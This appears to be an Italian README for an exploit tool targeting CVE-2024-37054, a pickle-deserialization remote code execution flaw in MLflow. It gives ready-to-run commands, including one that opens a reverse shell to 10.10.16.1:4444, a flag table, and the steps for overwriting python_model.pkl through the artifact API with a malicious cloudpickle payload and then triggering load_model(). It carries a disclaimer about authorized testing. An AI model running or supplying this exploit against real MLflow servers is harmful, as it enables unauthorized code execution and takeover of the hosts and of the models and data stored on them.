
CVE-2024-37054 exploit e documentazione
Gravità: Critica
Interessati: MLflow 0.9.0 – 2.14.1
Tipo: Esecuzione arbitraria di codice tramite deserializzazione pickle Python
mlflow.pyfunc.load_model() deserializza python_model.pkl dall'archivio degli artefatti senza alcuna sanificazione. Un attaccante in grado di raggiungere l'API REST degli artefatti MLflow può sovrascrivere quel file con un pickle dannoso, che esegue comandi arbitrari del sistema operativo al successivo caricamento del modello.
pip install requests cloudpickle
# Enumerazione dei modelli registrati
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Modello esplicito + autenticazione Basic MLflow
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
| Flag | Descrizione |
|---|---|
--mlflow URL | URL base del server di tracciamento MLflow (obbligatorio) |
--model NAME | Nome del modello registrato — se omesso, seleziona automaticamente il primo |
--version N | Versione del modello — per default l'ultima |
--user / --pass | Credenziali HTTP Basic Auth per MLflow |
--run-id / --exp-id | Salta l'individuazione del modello usando ID noti |
--trigger-url URL | Endpoint dell'app che chiama load_model() — se omesso, solo upload |
--session COOKIE | Cookie di sessione inviato con la richiesta di attivazione |
/api/2.0/mlflow/registered-models/search per trovare un modello e il suo run_id / experiment_idPUT di un payload cloudpickle malevolo su /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() su quel modello deserializza il payload ed esegue il comandoIl passo di attivazione richiede un endpoint dell'applicazione che carichi il modello. Se non ne è noto alcuno, usa --no-trigger (o ometti --trigger-url) e attiva il caricamento con qualsiasi mezzo disponibile.
Solo per test di penetrazione autorizzati e scopi educativi.